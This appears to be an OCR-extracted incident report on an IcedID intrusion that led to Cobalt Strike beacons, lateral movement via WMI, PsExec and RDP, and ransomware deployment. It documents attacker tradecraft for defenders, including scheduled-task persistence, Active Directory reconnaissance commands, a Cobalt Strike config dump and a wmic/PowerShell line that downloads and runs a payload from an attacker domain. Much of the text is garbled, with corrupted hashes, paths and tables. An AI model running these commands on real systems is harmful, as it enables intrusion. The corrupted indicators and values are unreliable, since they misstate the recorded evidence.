urlencoded\x00\x00\Xx00\x07\x00\x00\X00\x01\x00\Xx00\Xx00\x0b\x00\X00\Xx00\x03\x00\X00\x00\x02\X00\X00\x00\x04yes=\x00\x00\x00\x04\x00\>

0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK 0x0001 Ox0002 O
0x0028 killdate 0x0002 Ox0004 O
0x0029 textSectionEnd 0x0002 Ox0004 177872
0x002a feSectionsInfo 0Xx0003 0x0028 '\Xx00A\x02\Xx00r, \X03\x00\Xx00A\Xx03\x00\Xx88\x85\x04\Xx00\x00\x90\Xx04\x004°
\X04\x00\x00A\x04\x00/AI1\x04 '
0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE
0x002c process-inject-use-rwx 0x0001 Ox0002 32 PAGE_EXECUTE_READ
0x002d process-inject-min_alloc 0x0002 0x0004 6133
0x000d http_post_header 0x0003 0x0100
Header
0x002f process-inject-transform-x64 0x0003 0x0100 '\x00\x00\x00\x06\x90\x90\x90\x90\x90\x90"'
0x0035 process-inject-stub 0x0003 0x0010 'pIp\x01ijuidér\xlaDe®9)'
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x04\x03'
0x0034 process-inject-allocation-method 0x0001 0x0002 O
0x0000

Guessing Cobalt Strike version: 4.2 (max 0x003a)
Sanity check Cobalt Strike config: OK

After using PowerShell beacons during the first day on the beachhead host and a Domain Controller, the threat actors moved to using DLL
files exclusively for the remainder of Cobalt Strike beacons deployed during the intrusion. Other notable executions included the use of batch
files:

C:\Windows\system32\cmd.exe /c c:\windows\temp\1l.bat
-> rundl132.exe c:\windows\temp\1.dll, DllRegisterServer

Persistence

During the initial execution of IcedID, the following two files were created under the AppData Roaming folder of the user that executed it:

o exdudipo.dll: IcedID first stage.
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« license.dat: Encoded version of the second stage which the first stage will load into memory.

Parent Path

\\Users\[REDACTED]\AppData\Roaming\{02959BFD-29E0-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E118-83C2-ADAD-8729FDCA00CO}

\\Users\[REDACTED]\AppData\Roaming\AntiquePeanut

A scheduled task was created that contained instructions on executing the IcedID DLL and the location of the license.dat file. This is a very

common method that IcedID has used for persistence.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<URI>\{3774AD25-8218-8099-89BA-CE96C6E9DCAE}</URI>
</RegistrationInfo>

<Triggers>

<TimeTrigger id="TimeTrigger">
<Repetition>
<Interval>PT1H</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2012-01-01T12:00:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
<LogonTrigger id="LogonTrigger">
<Enabled>true</Enabled>
<UserId>[REDACTED USER]</UserId>
</LogonTrigger>

</Triggers>
<Principals>

<Principal id="Author">
<RunLevel>HighestAvailable</RunLevel>
<UserId>[REDACTED DOMAIN]\[REDACTED USER]</UserId>
<LogonType>InteractiveToken</LogonType>

</Principal>
</Principals>
<Settings>

Name
exdudipo.dll
license.dat

<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimelLimit>PTOS</ExecutionTimeLimit>
<Priority>7</Priority>

</Settings>

<Actions Context="Author">

<Exec>

<Command>rundl132.exe</Command>

<Arguments>"C:\Users\[REDACTED USER]\AppData\Roaming\{02959BFD-29E0-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E118-83C2-ADAD-

8729FDCAGOCO}\exdudipo.dll", #1 --pa="AntiquePeanut\license.dat"</Arguments>

</Exec>
</Actions>
</Task>

The scheduled task was configured to execute every hour.

_time =

19:00:02.102

20:00:01.126

21:00:00.935

22:00:00.911

Event.System.EventlD .

v

Event.EventData.ParentCommandLine +

C:\Windows\system32\svchost.exe -k netsvcs
Schedule

C:\Windows\system32\svchost.exe -k netsvcs
Schedule

C:\Windows\system32\svchost.exe -k netsvcs
Schedule

C:\Windows\system32\svchost.exe -k netsvcs
Schedule

b -s

P <6

-p-s

- -s

Event.EventData.CommandLine +

rund1132.exe "C:\Users\ N\ AppData\Roaming\{ 02959BFD-29E0-6A95-3877-5E55B8D01CBT}\(CA2AB541-E118-83C2-ADAD-

8729FDCABOCO} \exdudipo.d11",#1 —-pa="AntiquePeanut\license.dat"

rund1132.exe "C:\Users\IEMMMMN\AppData\Roaming\{02959BFD-29EQ-6A95-3B77-5E55B8D01CBT}\ {CA2AB541-E118-83C2-ADAD-

8729FDCAQOCO} \exdudipo.dll",#1 --pa="AntiquePeanut\license.dat"

rund1132.exe "C:\Users\| N\ ArrData\Roaming\{02959BFD-29E0-6A95-3B77-5E55B8D01CB7}\{CA2AB541-E118-83C2-ADAD-

8729FDCABOCO} \exdudipo.dl1",#1 --pa="AntiquePeanut\license.dat"

rund1132.exe "C:\Users\ I\ AppDat a\Roaming\{ 02959BFD-29E0-6A95-3877-5E5588D01CBT}\ {CA2AB541-E118-83C2-ADAD-

8729FDCAGOCO} \exdudipo.d11",#1 —-pa="AntiquePeanut\license.dat"
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Privilege Escalation

Privilege escalation was completed on two systems via the named pipe GetSystem feature within the Cobalt Strike tool. An example is shown
below via Sysmon event ID 1 — ProcessCreate Rule:

Process Create:

RuleName: technigue id=T1059,cechnique name=Command-Line Interface

UtcTime:

d: {46a04£86-41 £
ProcessId: 4328
Image: C:\Windows\System32\cmd.exe

00}

FileVersion: 10.0.17763.592 (WinBuild.160101.0800)

Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
c dLine: C:\Windows

User: NT AUTHORITY\SYSTEM
LogonGuid:
LogonTd : NN
TerminalSessionId: O
Integritylevel: System

Hashes: SHA1=8C5437CD76ASSECYS3E3B364E219944DA3DAB4 64, MD5=975B45B669930B0CCTTIEAF2B414206F, SHA256=3656F3TALCE951EC

Pazent di |
ParentProcessId: 4984

ParentImage: C:\Windows\System32\svchost.exe
ParentCommandLine: C:\Windows\system32\svchost.exe

ParentUser: NT AUTHORITY\SYSTEM

emd.exe /o echo 0c1d9073d25 > \\.\pipe\eS2a2é
CurrentDirectory: C:\Windows\system32\

6DSA3785476B482C9C0OD32EA2,

BSELS

Defense Evasion

This intrusion displayed numerous techniques used by threat actors to evade detection.

Process Injection

The adversary was seen injecting code into legitimate processes via CreateRemoteThread which can be detected using Sysmon event ID 8.

The table below shows examples of injected processes found via an in memory yara scan using this Malpedia yara rule:

EventiD 8
RuleName technique_id=T1055,technique_name=Process Injection
UteTime REDACTED

SourceProcessGuid

{fafd9184-9876-6340-480c-000000000500}

SourceProcessld

10436

Sourcelmage

C:\Windows\System32\rundll32.exe

TargetProcessGuid

{fafd9184-e545-6330-3101-000000000500}

TargetProcessld

6224

Targetimage C:\Program Files\WindowsApps\Microsoft. Windows.Photos_
2022.30070.26007.0_x64__ 8wekyb3d8bbwe\Microsoft.Photos.exe

NewThreadid 5676

StartAddress 0x000001B3A8760006

StartModule -

StartFunction -

SourceUser REDACTED

TargetUser REDACTED

Host Process ProcessName CommandLine

ID
workstation.domain.local 612 winlogon.exe winlogon.exe
workstation.domain.local 828 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p
fileshare.domain.local 760 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p
fileshare.domain.local 4928 winlogon.exe winlogon.exe

fileshare.domain.local

1960 rundll32.exe

rundll32.exe c:\windows\temp\1.dll

beachhead.domain.local

712 Isass.exe

C:\Windows\system32\lsass.exe

beachhead.domain.local

812 svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

beachhead.domain.local

5884 TextlnputHost.exe

C:\Windows\SystemApps\MicrosoftWindows.Client. CBS_cw5n1h2txyewy\TextInputHos
-ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca

beachhead.domain.local

2036 sysmon64.exe

C:\Windows\sysmon64.exe -z syscliprpc9E7B7D3FAF371803
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beachhead.domain.local 2568 regsvr32.exe C:\Windows\syswow64\regsvr32.exe

beachhead.domain.local 9760 cmd.exe C:\Windows\SysWOW64\cmd.exe

server.domain.local 432 rundll32.exe rundlli32.exe 1.dll

File Deletion

Files that were dropped in temporary directories were deleted after execution as seen below with Sysmon event ID 11 and 23.

T @timestamp (D) ~ host.hostname * event.code * event.action ~ file.path
@ 13:80:59.492 11 File created (rule: FileCreate) C:\Windows\Temp\1.d11
@ 13:84:42.555 23 File Delete archived (rule: FileDelete) C:\Windows\Temp\1.d11
Below is the list of files seen being created and later deleted by the threat actor:

7.exe
adfind.bat
adfind.exe
adget.exe
ad.7z
1.bat
1.d11
7.exe
ns.bat

Renamed System Utilities

Adversaries typically rename common Windows system utilities to avoid triggering alerts that monitor utility usage. The table below summaries
the renamed utilities observed in this intrusion.

Windows Utility Renamed Windows Utility

rundll32.exe C:\Users\<sREDACTED>\Documents\calc.exe

psexesvc.exe  C:\Windows\mstdc.exe

Credential Access

The threat actors were observed accessing a file server, and browsing though files related to passwords. These would later be observed
opened off network, more details in the exfiltration section on that activity.

event.dataset source.ip destination.ip destination.port file.name

zeek.smb_files BEACHHEAD FILESERVER 445 \Passwords\passwords.xlsx
zeek.smb_files BEACHHEAD FILESERVER 445 \Passwords\old passwords.docx
zeek.smb_files BEACHHEAD FILESERVER 445 \Passwords

zeek.smb_files BEACHHEAD FILESERVER 445 \passwords.docx
zeek.smb_files BEACHHEAD FILESERVER 445 \old passwords.docx

On the second day of the intrusion, after moving laterally to a Domain Controller, LSASS was accessed from a Cobalt Strike process. The
access granted value 0x1010 was observed. As noted in a previous report, this value matches known mimikatz access patterns. This logged
event suggests Cobalt Strike accessed LSASS to dump credentials from memory. This activity was observed again on various hosts on the
fourth and sixth days of the intrusion.
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SourceImag

TargetPr
TargetPr
TargetImage:

{ERNELBASE .d11+28d8e | UNKNOWN ( BBBBB80881

Sourcelser: NT AUTHORITY\SYSTEM
TargetUser: NT AUTHORIT STEM

Discovery

The discovery phase primarily utilized built-in Windows tools. One utility seen was chcp which allows you to display or set the code page
number. The default chcp value is determined by the Windows locale. The locale can indicate the language, country, and regional standards of
that host (e.g. date and time formatting). After viewing the default page code, the adversary did change the value to 65001 to reflect the UTF-8
character set. We have seen this as a technique employed by IcedID for some time as reported in depth in prior cases.

arp -a
chcp >&2

chcp 65001

chcp 65001 && c: && cd c:\

dir \\<REDACTED>\c$

ipconfig /all

net config workstation

net group "Domain Admins" /domain
net group "Domain Computers" /domain
net group "domain admins" /dom

net group "enterprise admins" /dom
net localgroup "administrators" /dom
net view /all

net view /all /domain

netl config workstation

nltest /domain_trusts

nltest /domain_trusts /all trusts
ping <HOST_IP>

systeminfo

whoami

whoami /upn

Following the initial discovery commands mentioned above on day one, the threat actor scanned the network for port 1433, the default port
used by Microsoft SQL server.
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@timestamp (© ~  source.ip ~ destination.ip ~ destination.port * zeek.connection.state “~ zeek.connection.state_message

:43:16.935 182 1,433 REJ Connection attempt rejected.
:43:16.935 78 1,433 REJ Connection attempt rejected.
:43:16.935 .18a 1,433 REJ Connection attempt rejected.
:43:16.935 186 1,433 REJ Connection attempt rejected.
:43:16.935 184 1,433 REJ Connection attempt rejected.
:43:16.928 196 1,433 REJ Connection attempt rejected.
:43:16.928 192 1,433 REJ Connection attempt rejected.
:43:16.928 .198 1,433 REJ Connection attempt rejected.
:43:16.928 268 1,433 REJ Connection attempt rejected.
:43:16.928 199 1,433 REJ Connection attempt rejected.
:43:16.928 .215 1,433 REJ Connection attempt rejected.
:43:16.928 .2688 1,433 REJ Connection attempt rejected.
:43:16.928 231 1,433 REJ Connection attempt rejected.
:43:16.928 281 1,433 REJ Connection attempt rejected.
:43:16.928 197 1,433 REJ Connection attempt rejected.
:43:16.928 226 1,433 REJ Connection attempt rejected.
:43:16.928 223 1,433 REJ Connection attempt rejected.
:43:16.928 .218 1,433 REJ Connection attempt rejected.

The discovery phase remained minimal leading into day six. The threat actors were seen dropping AdFind and adget.exe to reveal all users,
groups, computers, organizational units, subnets, and trust objects within the domain.

event.action ~ event.code ~ process.parent.args ~ process.executable ~ process.command_line
Process Create (rule: ProcessCreate) 1 C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Temp\adfind.exe adfind.exe -f (objectcategory=person)

Process Create (rule: ProcessCreate) 1 C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Tempadfind.exe adfind.exe -f objectcategory=computer

Process Create (rule: ProcessCreate) C:\Windows\system32\cnd.exe, /C, adfind.bat C:\Windows\Temp\adfind.exe adfind.exe -f (objectcategory=organizationalUnit)
Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Tempiadfind.exe adfind.exe -subnets -f (objectCategory=subnet)
Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Tempadfind.exe adfind.exe -f "(objectcategory=group)

Process Create (rule: ProcessCreate) C:\Windows\system32\cnd.exe, /C, adfind.bat ¢ :\Windows\Temp\adfind. exe adfind.exe -gch -sc trustdmp

Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Temp\7.exe 7.exe a -mx3 ad.7z ad_*

Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Temptadfind.exe adfind.exe -f (objectcategory=person)

Process Create (rule: ProcessCreate) C:\Windows\system32\cnd.exe, /C, adfind.bat ¢ :\Windows\Temp\adfind. exe adfind.exe -f objectcategory=computer

Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Temp\adfind.exe adfind.exe -f (objectcategory=organizationalUnit)
Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Tempiadfind.exe adfind.exe -subnets -f (objectCategory=subnet)
Process Create (rule: ProcessCreate) C:\Windows\system3z\emd.exe, /C, adfind.bat C:\Windows\Temp\adfind.exe adfind.exe -f "(objectcategory=group)

Process Create (rule: ProcessCreate) C:\Windows\system32\cnd.exe, /C, adfind.bat C:\Windows\Temp\adfind.exe adfind.exe -geb -sc trustdmp

Process Create (rule: ProcessCreate) C:\Windows\system32\cmd.exe, /C, adfind.bat C:\Windows\Temp\7.exe 7.exe a -mx3 ad.7z ad_*

adfind.exe -gcb -sc trustdmp

adfind.exe -f (objectcategory=group)

adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f (objectcategory=organizationalUnit)
adfind.exe -f objectcategory=computer

adfind.exe -f (objectcategory=person)

Adget is a newer tool that we first observed in this previous report but generally this tool performs similar AD discovery as AdFind.
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ommandLine: adget.exe
urrentDirecto
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Following the Active Directory discovery activity, additional remote discovery actions were observed using WMI to gather information about
Windows OS version and licensing on the hosts.

C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" /user:"USER" /password:"REDACTED" os get caption

Then another recon round occurred using NSLOOKUP to map assets to IP addresses.

1+ @timestamp (T ~ event.code ~ event.action ~  process.command_line

.297 1 Process Create (rule: ProcessCreate) nslookup
L6961 Process Create (rule: ProcessCreate) nslookup
L6061 Process Create (rule: ProcessCreate) nslookup
L6471 1 Process Create (rule: ProcessCreate) nslookup
.243 1 Process Create (rule: ProcessCreate) nslookup
L1921 Process Create (rule: ProcessCreate) nslookup
.495 1 Process Create (rule: ProcessCreate) nslookup
72101 Process Create (rule: ProcessCreate) nslookup
.823 1 Process Create (rule: ProcessCreate) nslookup
L9171 Process Create (rule: ProcessCreate) nslookup
.66 1 Process Create (rule: ProcessCreate) nslookup
@94 1 Process Create (rule: ProcessCreate) nslookup

7501 Process Create (rule: ProcessCreate) nslookup

mma - - - . PR - - o A

This was followed by network scans for RDP:
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1 @timestamp (O ~ source.p ~ i ip ~ i port ~ zeek tate ~ zeek tate_message

DAY 6 @ 14:85:54.487 181 3,389 RSTR Responder sent a RST.
@ 14:86:21.116 .181 3,389 RSTR Responder sent a RST.
@ 14:87:19.455 -181 3,389 &1 Connection established, not terminated
@ 14:89:25.237 .181 3,389 RSTR Responder sent a RST.
& 14:89:45.388 181 3,389 52 Connection established and close attempt by originator seen (but no reply from responder).
@ 14:16:40.113 .181 3,389 s@ Connection attempt seen, no reply.
@ 14:16:47.143 .181 3,389 se Connection attempt seen, no reply.
@ 14:49:23.347 -181 3,389 RSTR Responder sent a RST.
€ 14:49:48.469 .181 3,389 RSTR Responder sent a RST.
@ 16:24:44.688 .181 3,389 RSTR Responder sent a RST.
@ 16:25:15.901 .181 3,389 RSTR Responder sent a RST.
@ 16:33:08.678 .181 3,389 RSTR Responder sent a RST.
@ 16:33:35.256 -181 3,389 RSTR Responder sent a RST.
@ 16:36:30.976 .181 3,389 RSTR Responder sent a RST.
@ 16:36:53.868 .181 3,389 RSTR Responder sent a RST.

Lateral Movement

During this intrusion, threat actors used a number of different techniques to move laterally across the domain. The techniques used will be
detailed in the following sections.

T1021.006 Remote Services: WinRM

Some of the threat actors’ lateral activity was executed using WinRM, this could be observed by matching parent-child process trees and DCE
RPC traffic.

WiIinRM Activity

dce_rpc
————_ [RemUnknown2 _ ____
- RemQuerylinterface =] — Parent Process —— C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
== == !
Host 1 Host 2 |

\
Child Process

S~
> C:\Windows\system32\cmd.exe /c c:\windows\temp\l.bat

T1047 WMI

Threat Actors ran the following command to download and execute an in memory PowerShell payload on a domain controller:

C:\\Windows\\System32\\wbem\\wmic.exe /node:REDACTED process call create \""cmd.exe /c powershell.exe -nop -w hidden -c \""\""IEX
((new-object net.webclient).downloadstring('https://aicsoftware[.]Jcom:757/coin"))\""\"""

WMI was also used also when executing remote DLL beacons:

C:\Windows\system32\cmd.exe /C wmic /node:"REDACTED" process call create "c:\windows\system32\rundl1l32.exe c:\windows\temp\1.dll,
D11RegisterServer

WMI commands were also observed during ransom deployment:

wmic /node:REDACTED /user:DOMAIN\USER /password:REDACTED process call create cmd.exe /c copy \\REDACTED\c$\windows\temp\p.bat
c:\windows\temp

T1021.002 Remote Services: SMB/Windows Admin Shares

The threat actors relied on SMB to move their tools throughout the network during the intrusion.
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- fileset.name ~  source.ip v zeek.smb_files.action - destination.ip ~ zeek.smb_files.path ~ zeek.smb_files.name

3: :FILE_OPEN . 254cS Wtemph1.dll

: :FILE_OPEN

. :FILE_OPEN

3: :FILE_OPEN

: :FILE_OPEN

The threat actors used PSExec to move laterally to servers during the ransom execution, the -r flag was used to rename the binary created on
the remote server to mstdc. exe.
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: :FILE_OPEN
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smb_files . 184 : :FILE_OPEN . ADMINS

: :FILE_OPEN

: :FILE_OPEN

smb_files .184 . :FILE_OPEN

. :FILE_OPEN A7 WA . 175\ ADMINS

: :FILE_OPEN

: :FILE_OPEN

. +FILE_OPEN

Below are some of the PsExec forensic artifacts logged in Windows Event Logs and Sysmon:

00:00:.. 0 o o o ‘u I MsSense . exe

22:48:48 Process tracking 4688 Parent process: C:\Windows\System32\services.exe PID: @x278 C:\Windows\mstdc.exe C:\Windows\mstdc.exe Mandatory label: SECURITY_MANDATORY..
22:48:48  Successful logon 2624 Target: LogonId: 0x883352

22:48:48 Administrative logen 4672 PrivilegeList: SeSecurityPrivilege, SeBackupPrivil. Logonld: 0xB83352

22:48:48 NTLM authentication reque 4776 Target Workstation Status: Status OK

22:48:48 A new service was install 7045 Name: mstde StartType: demand start Account: LocalSystem
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process.command_line

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

psexec.exe

Overview of the mstdc.exe binary (renamed psexecsvc.exe):
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\\|
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5 pestudio 9.46 - Malware Initial Assessment - www.winitor.com -

file settings
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=
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-r mstdc
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mstdc

L)

mstdc

=
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5

mstdc

=

mstdc

=

-r mstdc

-r mstdc

-r mstdc

-accepteula
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-accepteula
-accepteula
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-accepteula
-accepteula
-accepteula
-accepteula
-accepteula
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-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

-nobanner

C:

(CH

c:

@

C

@

Cc:

(CH

C:

(G}

Cc:

@z

\windows\temp\p.
\windows\temp\p.
\windows\temp\p.
:\windows\temp\p.
:\windows\temp\p.
:\windows\temp\p.
\windows\temp\p.
\windows\temp\p.
\windows\temp\p.
\windows\temp\p.
\windows\temp\p.

\windows\temp\p.

indicators

virustotal (2/71)
dos-header (64 bytes)
dos-stub (216 bytes)
rich-header (Visual Studic)
file-header (Intel-386)
optional-header (console)
directories (7)

sections (3)

libraries (flag)

imports (flag)

relocations (5212)

resources (3)

strings (6743) *

debug (3)

manifest (aslnvoker)
version (psexesve.exe)

| overlay (unknown)

Renaming PsExec is likely an action taken by threat actors to bypass basic PsExec anomaly rules. However, there are Sigma rules which

property
md3
shal
sha236
first-bytes-hex
first-bytes-text
file-size
entropy
imphash
signature
tooling
entry-point
file-version
escription
file-type
cpu
subsystem
compiler-stamp
debugger-stamp
resources-stamp
import-stamp

exports-stamp

value

JDAE1S0CIDFOECT467BEIATA3TTSBA46

F309B61ABB00SBSCEOAIFBSACAAATIACFC
3C19FEE379B4882971834A3D38F 3F8BA6DES60114274375560433778C 0505748

4D 54 9000 03 00 00 00 04 00 00 00 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00

383872 bytes
6.603

detect this specific technique, as shared by Florian Roth back in 2019.

They also employed use of the Windows copy utility to move files around the network via SMB:

cmd.exe /c copy \\REDACTED\c$\windows\temp\p.bat c:\windows\temp\

T1021.001 Remote Services: RDP

Threat actors also used RDP during this intrusion. Below is an example of forensic artifacts left after using RDP to move laterally from the

beachhead to one of the domain servers logged in Windows Event Logs using different providers:
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Collection

During discovery actions, the threat actors were observed using 7-Zip to archive data collected from active directory using AdFind.

00:80:..

16:25: 3
16:25:3
16:25:4
16:30:3
21:
21
21:50:4
23
22:15:0
22:18:1
22:37:0
22:37:1
22:57:

Process

@ Successful RDP Connections

8 Successful logon

3 Remote Desktop
3 Remote Desktop

:42  Successful RDP

5 Remote Desktop
8 Remote Desktop

:58 Successful RDP

4 Remote Desktop
1 Remote Desktop
5 Successful RDP
1 Remote Desktop
Remote Desktop

Create:

Services:

Services:

Session logon succeeded

Session has been disconnected

Connections

Services:

Services:

Session reconnection succeeded

Session has been disconnected

Connections

Services:

Services:

Session reconnection succeeded

Session has been disconnected

Connections

Services:

Services:

Session reconnection succeeded

Session has been disconnected

RuleMName: technique_id=T1859,technique_name=Command-Line Interface

UtcTime:

ny:

: {fafd9184-c18e-6346-362b-8PAROEBAA5E }

Igor Pavlowv

OriginalFileName: 7za.exe
CommandLine: 7.exe
rrentDirectory:

User:

LogonGuid: {fafd9184-76f

LogonId:

8x3EC92AF

Terminal

ParentImage:

: {fafd9184-c184-6346-
5sId: 9488

ParentCommandLine: C:\Windows
ParentUser:

7.exe a -mx3 ad.7z ad_*

Command and Control

IcedID

In this case IcedID was observed with the campaign ID of 3298576311 communicating with a C2 server located at kicknocisd[.Jcom.

Suricata Rule Name

ET MALWARE Win32/IcedID Request Cookie kicknocisd[.Jcom

)C1D2FB3ABB1E4875748D3D49336, SH
FCF, IMPHASH=15847

BeBeBaa568

\Windows\SysWOW64\cmd . ex

md.exe /C adfind.bat

Domain IP

159.65.169[.]200

Event I User Name Data2

- o
98 ScriptBlockText:

4624

21
24
98 ScriptBlockText:
25
24
98 ScriptBlockText:
25
24
98 ScriptBlockText:
25
24

C136B1467
EB18D7DB6DCD598BEBAIBT86FDG

AS ORG Country

DIGITALOCEAN-ASN  United States

After initial connections, IcedID command and control traffic moved to the following servers.

Domain

curabiebarristie[.Jcom

stayersal.]art

guaracheza[.]pics

belliecow[.]Jwiki

P

198.244.180.66

198.244.180.66

45.66.248.119

45.66.248.119

Port

443

443

443

443

JA3

a0e9f5d64349fb13191bc781f81f42e1
a0e9f5d64349fb13191bc781f81f42e1
a0e9f5d64349fb13191bc781f81f42e1

a0e9f5d64349fb13191bc781f81f42e1

JA3s

ec74a5c51106f0419184d0dd08fb05be
ec74a5c51106f0419184d0dd08fb05be
ec74a5¢51106f0419184d0dd08fb05bc

ec74a5c¢51106f0419184d0dd08fb05bc
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Connections to one of the IcedID servers was observed in memory dumps from the beachhead host. This evidence is consistent with the
connections to 45.66.248[.]119 observed from the renamed rundlI32.exe that loaded the IcedID DLL during maldoc execution at the beginning
of this case.

Volatility 3 Framework 2.4.2

Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner  Created

0xd80f8206b7a® TCPv4 181 61720 443 ESTABLISHED 11412 calc.exe

BackConnect VNC

During the intrusion we also observed connections to a BackConnect VNC IP address. These connections were also spawned from the
running lcedID process on the beachhead host.

Volatility 3 Framework 2.4.2

Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created

0xd80f7b17e010 TCPv4 181 61729 8080 CLOSED 11412 calc.exe .000000
0xd80f83d454c@ TCPv4 181 61725 8080 ESTABLISHED 1141 calc.exe .000000
0xd80f8749f510 TCPv4 181 61774 8080 CLOSED 11412 calc.exe .000000

Alerts from Lenny Hansson's ruleset fired on the traffic for the following alerts:

Suricata Alert IP Port

NF — Malware IcedID BackConnect — Wait Command 137.74.104.108 8080

NF — Malware IcedID BackConnect — Start VNC command — 11  137.74.104.108 8080

Here’s another look at the VNC GUI from the attackers standpoint.

52 UsERread 58 user S8 UsERbiack
¥ HDESK MY HDESKTmp | I HDESKNM
) webCamo Y webCam1 9 webCam2

v1.3/ Useridle 411201 sec [ Locked: TRUE [ ScreenSaver. FALSE

KEYHOLE
VNC

In the execution section we covered utilities launched by the threat actors from the VNC activity.

Web Service

On the sixth day, the threat actors launched an Edge browser on the beachhead host, via VNC as described in the execution section, and
connected to the site dropmefiles[.Jcom a site that offers free file transfer services. Data connections from the Edge browser in the SRUMDB
indicate that a file download occurred but we were unable to determine what the file was or its purpose related to the intrusion.
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Drop ' -Files

Cobalt Strike

T1071/S0154

The threat actors dropped and executed a malicious DLL, p1.dll, on the beachhead. This malicious DLL is a Cobalt Strike beacon reaching out
to 23.29.115.152/aicsoftware[.Jcom on ports 757 and 8080. Later the threat actors also injected further beacons into memory reaching out to
50.3.132.232 /iconnectgs[.Jcom on port 8081. Later on day six, the threat actors added a new Cobalt Strike server to the intrusion, 5.8.18.242
on port 443 (see below for visualizing this activity).

Beaconing

Below is a screenshot of a packet captured from C2 traffic over HTTP. Encrypted POST requests made to iconnectgs[.Jcom (50.3.132[.]232)
are seen:
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POST /mobile-home HTTP/1.1

Accept: */*

Host: iconnectgs.com

Content-Type: text/plain

Cookie: __session__id=MTcw0Tg3NzI10A==

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Content-Length: 292

Connection: Close

Cache-Control: no-cache

QUFBQWIDCcGINRGtSVEVMWL1FcEx4a3]0ZzUzUzdXcU82S1E4bnNBcjBjREIpV1IZROWSIViN1bW8AV]jgxMjZOV1ZNeE1InMX1IUGFQVHpiUDd j b@xtS2dRQ1V2MmMNXRWt0oZG1zT2RkcGQ1YktWan
dIaUlTczZrUV1EbjA@T3NpYjhiaW1tWlIWdWF5TD1IbmNxQ20@SmV4YTVOWURINMORMFILWGNQUmIpaHAd4a2gtaWFwUzhtZm9Sam14eTRSNTQ4QzNPbj LqYzZZREXND29 rZWZXMGYyQXpicOkd
HTTP/1.1 200 0K

Date: 18:22:49 GMT

Status: 200

Connection: close

Server: Pagely Gateway/1.5.1

Content-Length: @

Cobalt Strike Configurations

Domain IP Port  JA3 JA3s

aicsoftware[.Jcom 23.29.115.152 757  a0e9f5d64349fb13191bc781f81f42e1 f176ba63b4d68e576b5ba345bec2c7b7

aicsoftware[.Jcom 23.29.115.152 8080 N/A N/A
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"beacontype": [

1

"HTTP"

"sleeptime": 62518,

"jitter": 37,

"maxgetsize": 1398708,

"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 305419776,
"cfg_caution": false,

"kill _date": null,

"server": {

"hostname": "aicsoftware.com",
"port": 8080,
"publickey":

"MIGFMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBYQCTYLGIVbpnfCh/itwvlb3pfV1fzKp70Jv1LCx21brRU3EF8QXjMD8Dsp5tOwZjZ8WRR1STkUSKoY2AReXF3Ibd3w4024%

3

"host_header": "",
"useragent_header": null,
"http-get": {

3

"urit: "/br.js",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
+
"server": {
"output": [
"print",
"prepend 600 characters",
"base64",
"mask"

"http-post": {

Iy

"uri": "/es",

"verb": "POST",

"client": {
"headers": null,
"id": null,
"output": null

"tcp_frame_header":
